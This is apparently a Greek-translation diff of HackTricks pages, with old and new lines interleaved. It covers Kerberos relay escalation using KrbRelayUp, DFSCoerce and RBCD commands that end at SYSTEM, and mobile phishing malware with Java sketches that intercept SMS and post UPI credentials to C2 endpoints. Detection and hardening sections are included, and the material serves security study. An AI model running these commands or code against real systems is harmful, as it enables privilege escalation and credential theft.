* Ο **Authenticator** μέσα στο AP-REQ έχει χρονική σφραγίδα 5 λεπτών; η επαναχρησιμοποίηση μέσα σε αυτό το παράθυρο είναι έγκυρη μέχρι να δει η προσωρινή μνήμη της υπηρεσίας ένα αντίγραφο.
* Τα Windows σπάνια ελέγχουν αν η συμβολοσειρά SPN στο εισιτήριο ταιριάζει με την υπηρεσία που χτυπάτε, οπότε ένα εισιτήριο για `CIFS/HOST` συνήθως αποκρυπτογραφείται κανονικά σε `LDAP/HOST`.
* Τα tickets κρυπτογραφούνται με το **password-derived key του λογαριασμού που κατέχει το SPN**.
* Ο **Authenticator** μέσα στο AP-REQ έχει σφραγίδα χρόνου 5 λεπτών· η επανάληψη μέσα σε αυτό το παράθυρο είναι έγκυρη μέχρι η cache της υπηρεσίας να δει διπλότυπο.
* Τα Windows σπάνια ελέγχουν αν το SPN string στο ticket ταιριάζει με την υπηρεσία που στοχεύετε, οπότε ένα ticket για `CIFS/HOST` συνήθως αποκρυπτογραφείται κανονικά σε `LDAP/HOST`.
- 2. **Τι πρέπει να είναι αληθές για να γίνει relay Kerberos**
- 2. **Τι πρέπει να ισχύει για να γίνει Kerberos relay**
1. **Κοινό κλειδί:** οι πηγές και οι στόχοι SPNs ανήκουν στον ίδιο λογαριασμό υπολογιστή (προεπιλογή σε Windows servers).
2. **Καμία προστασία καναλιού:** SMB/LDAP υπογραφή απενεργοποιημένη και EPA απενεργοποιημένη για HTTP/LDAPS.
3. **Μπορείτε να παγιδεύσετε ή να εξαναγκάσετε την αυθεντικοποίηση:** LLMNR/NBNS δηλητηρίαση, DNS spoof, **PetitPotam / DFSCoerce RPC**, ψεύτικο AuthIP, κακόβουλο DCOM, κ.λπ..
4. **Η πηγή του εισιτηρίου δεν έχει ήδη χρησιμοποιηθεί:** κερδίζετε τον αγώνα πριν το πραγματικό πακέτο φτάσει ή το αποκλείετε εντελώς; διαφορετικά, η προσωρινή μνήμη επαναχρησιμοποίησης του διακομιστή ενεργοποιεί το Event 4649.
5. Πρέπει κάπως να μπορείτε να εκτελέσετε ένα **MitM στην επικοινωνία**, ίσως ανήκοντας στην ομάδα DNSAmins για να τροποποιήσετε το DNS του τομέα ή να μπορείτε να αλλάξετε το αρχείο HOST του θύματος.
1. **Shared key:** τα source και target SPNs ανήκουν στον ίδιο computer account (προεπιλογή σε Windows servers).
2. **No channel protection:** SMB/LDAP signing απενεργοποιημένο και EPA απενεργοποιημένο για HTTP/LDAPS.
3. **Μπορείτε να υποκλέψετε ή να εξαναγκάσετε αυθεντικοποίηση:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, fake AuthIP, rogue DCOM, κ.λπ.
4. **Η πηγή του ticket να μην έχει ήδη χρησιμοποιηθεί:** πρέπει να κερδίσετε τη “κούρσα” πριν φτάσει το πραγματικό πακέτο ή να το μπλοκάρετε εντελώς· αλλιώς η cache επαναλήψεων του server πυροδοτεί Event 4649.
5. Πρέπει κάπως να μπορείτε να εκτελέσετε ένα **MitM στην επικοινωνία**, για παράδειγμα να είστε μέρος του group DNSAmins για να τροποποιήσετε το DNS του domain ή να μπορείτε να αλλάξετε το HOST file του θύματος.
### Βήματα Kerberos Relay
### Kerberos Relay Steps
- 3.1 **Recon the host**
```powershell
@ -155,27 +217,27 @@ Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
```
- 3.2 **Ξεκινήστε τον ακροατή αναμετάδοσης**
- 3.2 **Εκκινήστε το relay listener**
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
```powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
```
`KrbRelayUp` περιλαμβάνει **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** σε ένα εκτελέσιμο αρχείο.
`KrbRelayUp` συνδυάζει **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** σε ένα binary.
- 3.3 **Εξαναγκασμός αυθεντικοποίησης Kerberos**
- 3.3 **Coerce Kerberos auth**
```powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
```
DFSCoerce κάνει το DC να μας στείλει ένα Kerberos `CIFS/DC01` εισιτήριο.
DFSCoerce προκαλεί τον DC να στείλει ένα Kerberos `CIFS/DC01` ticket σε εμάς.
- 3.4 **Μεταφορά του AP-REQ**
- 3.4 **Relay the AP-REQ**
Το KrbRelay εξάγει το GSS blob από το SMB, το επανασυσκευάζει σε ένα LDAP bind και το προωθεί στο `ldap://DC01`—η αυθεντικοποίηση επιτυγχάνεται επειδή το **ίδιο κλειδί** το αποκρυπτογραφεί.
KrbRelay εξάγει το GSS blob από SMB, το επανασυσκευάζει σε ένα LDAP bind, και το προωθεί στο `ldap://DC01`—η αυθεντικοποίηση επιτυγχάνει επειδή το **ίδιο κλειδί** το αποκρυπτογραφεί.
- 3.5 **Κατάχρηση LDAP ➜ RBCD ➜ SYSTEM**
- 3.5 **Abuse LDAP ➜ RBCD ➜ SYSTEM**
```powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
@ -185,45 +247,57 @@ SCMUACBypass.exe
```
You now own **NT AUTHORITY\SYSTEM**.
### **Περισσότεροι δρόμοι που αξίζει να γνωρίζετε**
### **Περαιτέρω μονοπάτια που αξίζει να γνωρίζετε**
| Vector | Trick | Why it matters |
|--------|-------|----------------|
| **AuthIP / IPSec** | Ψεύτικος διακομιστής στέλνει ένα **GSS-ID payload** με οποιοδήποτε SPN; ο πελάτης δημιουργεί ένα AP-REQ κατευθείαν σε εσάς | Λειτουργεί ακόμη και σε υποδίκτυα; διαπιστευτήρια μηχανής από προεπιλογή |
| **DCOM / MSRPC** | Κακόβουλος OXID resolver αναγκάζει τον πελάτη να αυθεντικοποιηθεί σε αυθαίρετο SPN και θύρα | Καθαρή *τοπική* priv-esc; παρακάμπτει το τείχος προστασίας |
| **AD CS Web Enroll** | Μεταφέρετε το μηχάνημα εισιτηρίου σε `HTTP/CA` και αποκτήστε ένα πιστοποιητικό, στη συνέχεια **PKINIT** για να δημιουργήσετε TGTs | Παρακάμπτει τις άμυνες υπογραφής LDAP |
| **Shadow Credentials** | Γράψτε `msDS-KeyCredentialLink`, στη συνέχεια PKINIT με ψεύτικο ζεύγος κλειδιών | Δεν χρειάζεται να προσθέσετε έναν λογαριασμό υπολογιστή |
| **AuthIP / IPSec** | Ο ψεύτικος server στέλνει ένα **GSS-ID payload** με οποιοδήποτε SPN; ο client δημιουργεί ένα AP-REQ κατευθείαν προς εσάς | Λειτουργεί ακόμα και μεταξύ υποδικτύων; διαπιστευτήρια μηχανής από προεπιλογή |
| **DCOM / MSRPC** | Κακόβουλος OXID resolver αναγκάζει τον client να auth σε αυθαίρετο SPN και port | Καθαρό *local* priv-esc; παρακάμπτει firewall |
| **AD CS Web Enroll** | Relay machine ticket στο `HTTP/CA` και πάρτε ένα cert, έπειτα **PKINIT** για να δημιουργήσετε TGTs | Παρακάμπτει τις άμυνες LDAP signing |
| **Shadow Credentials** | Γράψτε `msDS-KeyCredentialLink`, έπειτα PKINIT με πλαστό ζεύγος κλειδιών | Δεν χρειάζεται να προσθέσετε λογαριασμό υπολογιστή |
### **Αντιμετώπιση προβλημάτων**
| Error | Meaning | Fix |
|-------|---------|-----|
| `KRB_AP_ERR_MODIFIED` | Κλειδί εισιτηρίου ≠ κλειδί στόχου | Λάθος host/SPN |
| `KRB_AP_ERR_SKEW` | Ρολόι > 5 λεπτά απόκλιση | Συγχρονίστε την ώρα ή χρησιμοποιήστε `w32tm` |
| Αποτυχία σύνδεσης LDAP | Υπογραφή επιβεβλημένη | Χρησιμοποιήστε τη διαδρομή AD CS ή απενεργοποιήστε την υπογραφή |
| Spam Event 4649 | Η υπηρεσία είδε διπλό Authenticator | μπλοκάρετε ή προλάβετε το αρχικό πακέτο |
| `KRB_AP_ERR_MODIFIED` | Ticket key ≠ target key | Wrong host/SPN |
| `KRB_AP_ERR_SKEW` | Clock > 5 min offset | Sync time or use `w32tm` |
| LDAP bind fails | Signing enforced | Use AD CS path or disable signing |
| Event 4649 spam | Service saw duplicate Authenticator | block or race original packet |
### **Ανίχνευση**
* Άνοδος σε **Event 4769** για `CIFS/`, `HTTP/`, `LDAP/` από την ίδια πηγή εντός δευτερολέπτων.
* **Event 4649** στην υπηρεσία υποδεικνύει ανίχνευση επανάληψης.
* Η σύνδεση Kerberos από **127.0.0.1** (μεταφορά σε τοπικό SCM) είναι πολύ ύποπτη—χαρτογραφήστε μέσω κανόνα Sigma στα έγγραφα KrbRelayUp.
* Παρακολουθήστε τις αλλαγές στα χαρακτηριστικά `msDS-AllowedToActOnBehalfOfOtherIdentity` ή `msDS-KeyCredentialLink`.
* Αύξηση σε **Event 4769** για `CIFS/`, `HTTP/`, `LDAP/` από την ίδια πηγή μέσα σε δευτερόλεπτα.
* **Event 4649** στην υπηρεσία υποδεικνύει ανίχνευση replay.
* Kerberos logon από **127.0.0.1** (relay to local SCM) είναι πολύ ύποπτο — map via Sigma rule in KrbRelayUp docs.
* Παρακολουθήστε αλλαγές στα attributes `msDS-AllowedToActOnBehalfOfOtherIdentity` ή `msDS-KeyCredentialLink`.
## **Σκληραγώγηση**
## **Σκληρυνση**
1. **Επιβάλλετε την υπογραφή LDAP & SMB + EPA** σε κάθε διακομιστή.
2. **Διαχωρίστε τα SPNs** ώστε το HTTP να μην είναι στον ίδιο λογαριασμό με το CIFS/LDAP.
3. Ενημερώστε τα διακυβερνητικά διακυβερνητικά (PetitPotam KB5005413, DFS, AuthIP).
4. Ορίστε **`ms-DS-MachineAccountQuota = 0`** για να σταματήσετε τις κακόβουλες προσθήκες υπολογιστών.
5. Ειδοποιήστε για **Event 4649** και απροσδόκητες συνδέσεις Kerberos loopback.
1. **Enforce LDAP & SMB signing + EPA** σε κάθε διακομιστή.
2. **Διαχωρίστε τα SPNs** ώστε το HTTP να μην είναι στον ίδιο λογαριασμό με CIFS/LDAP.
3. Κάντε patch στους coercion vectors (PetitPotam KB5005413, DFS, AuthIP).
4. Ορίστε **`ms-DS-MachineAccountQuota = 0`** για να σταματήσουν οι μη εξουσιοδοτημένες εγγραφές υπολογιστών.
5. Ειδοποίηση σε **Event 4649** και απροσδόκητα loopback Kerberos logons.
## Αναφορές
## References
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
- [WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)](https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight)
- [GoSecure Abusing WSUS to enable NTLM relaying attacks](https://gosecure.ai/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks)
- [Impacket PR #2034 Restore HTTP server in ntlmrelayx](https://github.com/fortra/impacket/pull/2034)
- [Impacket PR #913 HTTP relay support](https://github.com/fortra/impacket/pull/913)
- [WSUScripts wsusniff.py](https://github.com/Coontzy1/WSUScripts/blob/main/wsusniff.py)
- [WSUScripts wsuspider.sh](https://github.com/Coontzy1/WSUScripts/blob/main/wsuspider.sh)
- [MS-WSUSOD Windows Server Update Services: Server-to-Client Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsusod/e00a5e81-c600-40d9-96b5-9cab78364416)
- [Microsoft WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,67 +1,67 @@
# Phishing σε Κινητές Συσκευές & Διανομή Κακόβουλων Εφαρμογών (Android & iOS)
# Mobile Phishing & Διανομή Κακόβουλων Εφαρμογών (Android & iOS)
{{#include ../../banners/hacktricks-training.md}}
> [!INFO]
> Αυτή η σελίδα καλύπτει τεχνικές που χρησιμοποιούν οι threat actors για τη διανομή **κακόβουλων Android APKs** και **iOS mobile-configuration profiles** μέσω phishing (SEO, social engineering, fake stores, dating apps, κ.λπ.).
> Το υλικό προσαρμόζεται από την καμπάνια SarangTrap που αποκάλυψε η Zimperium zLabs (2025) και άλλες δημόσιες έρευνες.
> Αυτή η σελίδα καλύπτει τεχνικές που χρησιμοποιούν οι threat actors για να διανείμουν **malicious Android APKs** και **iOS mobile-configuration profiles** μέσω phishing (SEO, social engineering, fake stores, dating apps, κ.λπ.).
> Το υλικό είναι προσαρμοσμένο από την καμπάνια SarangTrap που αποκάλυψε το Zimperium zLabs (2025) και άλλες δημόσιες έρευνες.
## Ροή Επίθεσης
1. **SEO/Phishing Infrastructure**
* Καταχωρήστε δεκάδες look-alike domains (dating, cloud share, car service…).
Χρησιμοποιήστε λέξεις-κλειδιά στη τοπική γλώσσα και emojis στο στοιχείο `<title>` για να αυξήσετε την κατάταξη στο Google.
Φιλοξενήστε *και τα δύο* Android (`.apk`) και iOS οδηγίες εγκατάστασης στην ίδια landing page.
* Εγγραφή δεκάδων look-alike domains (dating, cloud share, car service…).
Χρήση λέξεων-κλειδιών στη τοπική γλώσσα και emojis στο `<title>` για καλύτερο ranking στο Google.
Φιλοξενήστε *και* οδηγίες εγκατάστασης για Android (`.apk`) και iOS στην ίδια landing page.
2. **First Stage Download**
* Android: απευθείας σύνδεσμος σε ένα *unsigned* ή “third-party store” APK.
* iOS: `itms-services://` ή απλό HTTPS link σε κακόβουλο **mobileconfig** profile (βλέπε παρακάτω).
* Android: άμεσος σύνδεσμος σε *unsigned* ή “third-party store” APK.
* iOS: `itms-services://` ή απλός HTTPS σύνδεσμος σε κακόβουλο **mobileconfig** profile (βλέπε παρακάτω).
3. **Post-install Social Engineering**
* Στην πρώτη εκτέλεση η εφαρμογή ζητάει έναν **invitation / verification code** (ψευδαίσθηση αποκλειστικής πρόσβασης).
* Ο κωδικός **POSTed over HTTP** στο Command-and-Control (C2).
* Κατά το πρώτο άνοιγμα, η εφαρμογή ζητάει έναν **invitation / verification code** (η ψευδαίσθηση αποκλειστικής πρόσβασης).
* Ο κωδικός **POSTed over HTTP** προς το Command-and-Control (C2).
* Το C2 απαντά `{"success":true}` ➜ το malware συνεχίζει.
* Sandbox / AV δυναμική ανάλυση που δεν υποβάλλει ποτέ έγκυρο κωδικό δεν βλέπει **κακόβουλη συμπεριφορά** (evasion).
* Sandbox / AV dynamic analysis που δεν υποβάλει ποτέ έγκυρο κωδικό δεν βλέπει **κακόβουλη συμπεριφορά** (evasion).
4. **Runtime Permission Abuse** (Android)
* Επικίνδυνα permissions ζητούνται μόνο **μετά από θετική απάντηση από το C2**:
* Επικίνδυνα permissions ζητούνται μόνο **μετά από θετική απάντηση C2**:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Older builds also asked for SMS permissions -->
```
* Πρόσφατες παραλλαγές **αφαιρούν το `<uses-permission>` για SMS από το `AndroidManifest.xml`** αλλά αφήνουν τη Java/Kotlin ροή που διαβάζει SMS μέσω reflection ⇒ μειώνει το static score ενώ παραμένει λειτουργικό σε συσκευές που χορηγούν το permission μέσω κατάχρησης `AppOps` ή παλαιότερων στόχων.
* Πρόσφατες παραλλαγές **αφαιρούν `<uses-permission>` για SMS από το `AndroidManifest.xml`** αλλά διατηρούν το Java/Kotlin code path που διαβάζει SMS μέσω reflection ⇒ μειώνει το static score ενώ παραμένει λειτουργικό σε συσκευές που χορηγούν την άδεια μέσω κατάχρησης `AppOps` ή σε παλαιότερους στόχους.
5. **Facade UI & Background Collection**
* Η εφαρμογή εμφανίζει αβλαβείς προβολές (SMS viewer, gallery picker) υλοποιημένες τοπικά.
* Εν τω μεταξύ εξάγει:
* Η εφαρμογή εμφανίζει αθώα views (SMS viewer, gallery picker) υλοποιημένα τοπικά.
* Παράλληλα εξάγει:
- IMEI / IMSI, αριθμό τηλεφώνου
- Πλήρες dump `ContactsContract` (JSON array)
- Πλήρες dump του `ContactsContract` (JSON array)
- JPEG/PNG από `/sdcard/DCIM` συμπιεσμένα με [Luban](https://github.com/Curzibn/Luban) για μείωση μεγέθους
- Προαιρετικό περιεχόμενο SMS (`content://sms`)
Τα payloads είναι **batch-zipped** και στέλνονται μέσω `HTTP POST /upload.php`.
Τα payloads **πακετάρονται σε παρτίδες (batch-zipped)** και στέλνονται μέσω `HTTP POST /upload.php`.
6. **iOS Delivery Technique**
* Ένα μόνο **mobile-configuration profile** μπορεί να ζητήσει `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` κ.λπ. για να εγγράψει τη συσκευή σε επιτήρηση τύπου “MDM”.
* Ένα μοναδικό **mobile-configuration profile** μπορεί να ζητήσει `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` κ.λπ. για να εγγράψει τη συσκευή σε “MDM”-like supervision.
* Οδηγίες social-engineering:
1. Open Settings ➜ *Profile downloaded*.
2. Tap *Install* three times (screenshots on the phishing page).
3. Trust the unsigned profile ➜ ο επιτιθέμενος αποκτά *Contacts* & *Photo* entitlement χωρίς έλεγχο App Store.
1. Ανοίξτε Settings ➜ *Profile downloaded*.
2. Πατήστε *Install* τρεις φορές (screenshots στη phishing page).
3. Trust the unsigned profile ➜ ο attacker αποκτά entitlement για *Contacts* & *Photo* χωρίς έλεγχο στο App Store.
7. **Network Layer**
* Απλό HTTP, συχνά στην port 80 με HOST header όπως `api.<phishingdomain>.com`.
* Plain HTTP, συχνά στην πόρτα 80 με HOST header σαν `api.<phishingdomain>.com`.
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (χωρίς TLS → εύκολο να εντοπιστεί).
## Defensive Testing / Red-Team Tips
* **Dynamic Analysis Bypass** Κατά την αξιολόγηση malware, αυτοματοποιήστε το στάδιο του invitation code με Frida/Objection για να φτάσετε στον κακόβουλο κλάδο.
* **Manifest vs. Runtime Diff** Συγκρίνετε `aapt dump permissions` με runtime `PackageManager#getRequestedPermissions()`; η απουσία επικίνδυνων perms είναι κόκκινη σημαία.
* **Network Canary** Διαμορφώστε `iptables -p tcp --dport 80 -j NFQUEUE` για να εντοπίσετε μη σταθερά bursts POST μετά την εισαγωγή του κωδικού.
* **Dynamic Analysis Bypass** Κατά την αξιολόγηση malware, αυτοματοποιήστε τη φάση του invitation code με Frida/Objection για να φτάσετε στον κακόβουλο κλάδο.
* **Manifest vs. Runtime Diff** Συγκρίνετε `aapt dump permissions` με το runtime `PackageManager#getRequestedPermissions()`; τα απουσιάζοντα επικίνδυνα perms είναι κόκκινη σημαία.
* **Network Canary** Διαμορφώστε `iptables -p tcp --dport 80 -j NFQUEUE` για να ανιχνεύσετε ασυνήθιστα bursts από POST μετά την εισαγωγή του κωδικού.
* **mobileconfig Inspection** Χρησιμοποιήστε `security cms -D -i profile.mobileconfig` σε macOS για να εμφανίσετε το `PayloadContent` και να εντοπίσετε υπερβολικά entitlements.
## Blue-Team Detection Ideas
* **Certificate Transparency / DNS Analytics** για να εντοπίζετε ξαφνικά κύματα domain πλούσια σε λέξεις-κλειδιά.
* **Certificate Transparency / DNS Analytics** για να εντοπίζετε απότομες εμφανίσεις keyword-rich domains.
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` από Dalvik clients εκτός Google Play.
* **Invite-code Telemetry** POSTs 68 ψηφίων αριθμητικών κωδικών λίγο μετά την εγκατάσταση του APK μπορεί να υποδηλώνουν staging.
* **MobileConfig Signing** Απορρίψτε unsigned configuration profiles μέσω πολιτικής MDM.
* **Invite-code Telemetry** POSTs με 68 ψηφιακούς κωδικούς λίγο μετά την εγκατάσταση του APK μπορεί να υποδεικνύουν staging.
* **MobileConfig Signing** Μπλοκάρετε unsigned configuration profiles μέσω πολιτικής MDM.
## Χρήσιμο Frida Snippet: Αυτόματη Παράκαμψη Κωδικού Πρόσκλησης
## Χρήσιμο Frida Snippet: Auto-Bypass Invitation Code
```python
# frida -U -f com.badapp.android -l bypass.js --no-pause
# Hook HttpURLConnection write to always return success
@ -90,28 +90,28 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
## Android WebView Payment Phishing (UPI) Dropper + FCM C2 Pattern
Αυτό το pattern έχει παρατηρηθεί σε καμπάνιες που εκμεταλλεύονται θέματα κυβερνητικών επιδομάτων για να κλέψουν διαπιστευτήρια UPI και OTPs. Οι επιτιθέμενοι συνδέουν αξιόπιστες πλατφόρμες για παράδοση και ανθεκτικότητα.
Αυτό το pattern έχει παρατηρηθεί σε καμπάνιες που εκμεταλλεύονται θέματα κυβερνητικών επιδομάτων για να κλέψουν UPI credentials και OTPs από χρήστες στην Ινδία. Οι operators συνδέουν αξιόπιστες πλατφόρμες για παράδοση και ανθεκτικότητα.
### Delivery chain across trusted platforms
- YouTube video lure → η περιγραφή περιέχει έναν σύντομο σύνδεσμο
- Σύντομος σύνδεσμος → GitHub Pages phishing site που μιμείται το νόμιμο portal
- Το ίδιο GitHub repo φιλοξενεί ένα APK με ψεύτικο “Google Play” badge που οδηγεί απευθείας στο αρχείο
- Δυναμικές phishing pages φιλοξενούνται στο Replit· το κανάλι απομακρυσμένων εντολών χρησιμοποιεί Firebase Cloud Messaging (FCM)
- YouTube video lure → η περιγραφή περιέχει ένα short link
- Shortlink → GitHub Pages phishing site που μιμείται το legit portal
- Το ίδιο GitHub repo φιλοξενεί ένα APK με ένα ψευδές “Google Play” badge που συνδέει απευθείας στο αρχείο
- Δυναμικές phishing σελίδες ζουν σε Replit· το κανάλι απομακρυσμένων εντολών χρησιμοποιεί Firebase Cloud Messaging (FCM)
### Dropper with embedded payload and offline install
- Το πρώτο APK είναι ένας installer (dropper) που περιλαμβάνει το πραγματικό malware στο `assets/app.apk` και προτρέπει τον χρήστη να απενεργοποιήσει το WiFi/mobile data για να μειώσει την ανίχνευση στο cloud.
- Το πρώτο APK είναι ένας installer (dropper) που μεταφέρει το πραγματικό malware στο `assets/app.apk` και προτρέπει τον χρήστη να απενεργοποιήσει το WiFi/mobile data για να μειώσει την ανίχνευση από το cloud.
- Το embedded payload εγκαθίσταται με έναν αθώο τίτλο (π.χ., “Secure Update”). Μετά την εγκατάσταση, τόσο ο installer όσο και το payload υπάρχουν ως ξεχωριστές εφαρμογές.
Static triage tip (grep για embedded payloads):
Static triage tip (grep for embedded payloads):
```bash
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
```
### Δυναμική ανακάλυψη endpoints μέσω shortlink
- Malware ανακτά μια plain-text, comma-separated λίστα ενεργών endpoints από ένα shortlink; απλές μετασχηματίσεις συμβολοσειράς παράγουν το τελικό phishing page path.
- Malware ανακτά μια λίστα σε plain-text, διαχωρισμένη με κόμμα, με live endpoints από ένα shortlink· απλοί μετασχηματισμοί string παράγουν την τελική διαδρομή της phishing σελίδας.
Παράδειγμα (sanitised):
Παράδειγμα (καθαρισμένο):
```
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
@ -127,27 +127,27 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
```
### Συλλογή διαπιστευτηρίων UPI μέσω WebView
- Το βήμα “Make payment of ₹1 / UPILite” φορτώνει μια κακόβουλη HTML φόρμα από το δυναμικό endpoint μέσα σε ένα WebView και καταγράφει ευαίσθητα πεδία (τηλέφωνο, τράπεζα, UPI PIN) τα οποία γίνονται `POST` σε `addup.php`.
### WebView-based συλλογή διαπιστευτηρίων UPI
- Το βήμα “Make payment of ₹1 / UPILite” φορτώνει μια attacker HTML form από το dynamic endpoint μέσα σε ένα WebView και καταγράφει ευαίσθητα πεδία (phone, bank, UPI PIN) τα οποία γίνονται `POST` σε `addup.php`.
Ελάχιστος loader:
Minimal loader:
```java
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
```
### Self-propagation and SMS/OTP interception
- Ζητούνται επιθετικές άδειες κατά την πρώτη εκτέλεση:
- Ζητούνται επιθετικές άδειες στην πρώτη εκτέλεση:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
```
- Οι επαφές χρησιμοποιούνται σε βρόχο για μαζική αποστολή smishing SMS από τη συσκευή του θύματος.
- Οι εισερχόμενες SMS υποκλέπτονται από broadcast receiver και ανεβαίνουν με μεταδεδομένα (sender, body, SIM slot, per-device random ID) στο `/addsm.php`.
- Οι επαφές επαναχρησιμοποιούνται σε βρόχο για μαζική αποστολή smishing SMS από τη συσκευή του θύματος.
- Τα εισερχόμενα SMS αναχαιτίζονται από έναν broadcast receiver και αποστέλλονται μαζί με μεταδεδομένα (sender, body, SIM slot, per-device random ID) στο `/addsm.php`.
Σκίτσο του receiver:
Σκαρίφημα του receiver:
```java
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
@ -161,8 +161,8 @@ postForm(urlAddSms, new FormBody.Builder()
}
}
```
### Firebase Cloud Messaging (FCM) as resilient C2
- Το payload εγγράφεται στο FCM· τα push μηνύματα φέρουν ένα πεδίο `_type` που χρησιμοποιείται ως διακόπτης για να ενεργοποιήσει ενέργειες (π.χ., ενημέρωση προτύπων κειμένου phishing, εναλλαγή συμπεριφορών).
### Firebase Cloud Messaging (FCM) ως ανθεκτικό C2
- Το payload εγγράφεται στο FCM· τα push μηνύματα φέρουν ένα πεδίο `_type` που χρησιμοποιείται ως διακόπτης για την ενεργοποίηση ενεργειών (π.χ., ενημέρωση phishing text templates, εναλλαγή συμπεριφορών).
Παράδειγμα FCM payload:
```json
@ -174,7 +174,7 @@ postForm(urlAddSms, new FormBody.Builder()
}
}
```
Handler σκίτσο:
Handler σχέδιο:
```java
@Override
public void onMessageReceived(RemoteMessage msg){
@ -187,27 +187,68 @@ case "smish": sendSmishToContacts(); break;
}
```
### Πρότυπα ανίχνευσης και IOCs
- Το APK περιέχει δευτερεύον payload στο `assets/app.apk`
- Η WebView φορτώνει στοιχεία πληρωμής από το `gate.htm` και exfiltrates στο `/addup.php`
- SMS exfiltration στο `/addsm.php`
- Shortlink-driven config fetch (π.χ. `rebrand.ly/*`) που επιστρέφει CSV endpoints
- Εφαρμογές με ετικέτα γενικά “Update/Secure Update”
- FCM `data` μηνύματα με διακριτή `_type` σε μη αξιόπιστες εφαρμογές
- APK περιέχει δευτερεύον payload στο `assets/app.apk`
- WebView φορτώνει payment από `gate.htm` και εξάγει δεδομένα σε `/addup.php`
- Εξαγωγή SMS σε `/addsm.php`
- Shortlink-driven ανάκτηση config (π.χ., `rebrand.ly/*`) που επιστρέφει CSV endpoints
- Εφαρμογές επισημασμένες ως γενικές “Update/Secure Update”
- FCM `data` μηνύματα με διαχωριστή `_type` σε μη αξιόπιστες εφαρμογές
### Ιδέες εντοπισμού & άμυνας
- Σηματοδοτήστε εφαρμογές που ζητούν από χρήστες να απενεργοποιήσουν το δίκτυο κατά την εγκατάσταση και στη συνέχεια side-load δεύτερο APK από το `assets/`.
### Ιδέες ανίχνευσης και άμυνας
- Σημάνετε εφαρμογές που ζητούν από χρήστες να απενεργοποιήσουν το δίκτυο κατά την εγκατάσταση και στη συνέχεια κάνουν side-load δεύτερο APK από `assets/`.
- Ειδοποίηση για το tuple δικαιωμάτων: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-based payment flows.
- Egress monitoring για `POST /addup.php|/addsm.php` σε μη-corporate hosts· μπλοκάρετε γνωστή infrastructure.
- Παρακολούθηση egress για `POST /addup.php|/addsm.php` σε μη εταιρικούς hosts; μπλοκάρετε γνωστή υποδομή.
- Κανόνες Mobile EDR: μη αξιόπιστη εφαρμογή που εγγράφεται για FCM και διακλαδίζεται με βάση το πεδίο `_type`.
---
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration RatOn case study
## Socket.IO/WebSocket-based APK Smuggling + Fake Google Play Pages
Η καμπάνια RatOn banker/RAT (ThreatFabric) αποτελεί ένα συγκεκριμένο παράδειγμα του πώς οι σύγχρονες mobile phishing επιχειρήσεις συνδυάζουν WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), κατάληψη crypto wallets, και ακόμη NFC-relay orchestration. Αυτή η ενότητα αφαιρεί μια περίληψη των επαναχρησιμοποιήσιμων τεχνικών.
Attackers increasingly replace static APK links with a Socket.IO/WebSocket channel embedded in Google Playlooking lures. This conceals the payload URL, bypasses URL/extension filters, and preserves a realistic install UX.
### Στάδιο-1: WebView → native install bridge (dropper)
